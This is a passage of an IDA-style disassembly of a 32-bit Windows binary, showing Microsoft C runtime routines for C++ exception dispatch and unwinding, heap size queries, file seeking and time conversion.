dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB9DC test esi, esi jz loc_421F28 mov eax, dword_4DB9E0 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB9E4, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; sub_422111+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_42205D mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: sub_422111+6Dj pop edi pop esi pop ebx pop ebp retn sub_422111 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: sub_422111+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB9DC mov [ebp+var_1C], ecx mov ecx, dword_4DB9E0 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB9DC, edi mov ecx, [ebp+arg_8] mov dword_4DB9E0, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: .packed:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: .packed:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: .packed:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB9DC, eax mov eax, [ebp-20h] mov dword_4DB9E0, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB9E8 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: .packed:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: .packed:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: .packed:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43CF84 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: .packed:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: .packed:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: .packed:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DCFC8 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DCFC4 call dword_427058 ; RtlSizeHeap loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43D44C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43D368 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43D36C, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43D370 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: sub_41D1EC+67p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DCD80 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DCC80h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB938, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_42711C ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F call dword_42708C ; RtlGetLastWin32Error jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB93C, 0 mov dword_4DB938, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: sub_41D1EC+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push 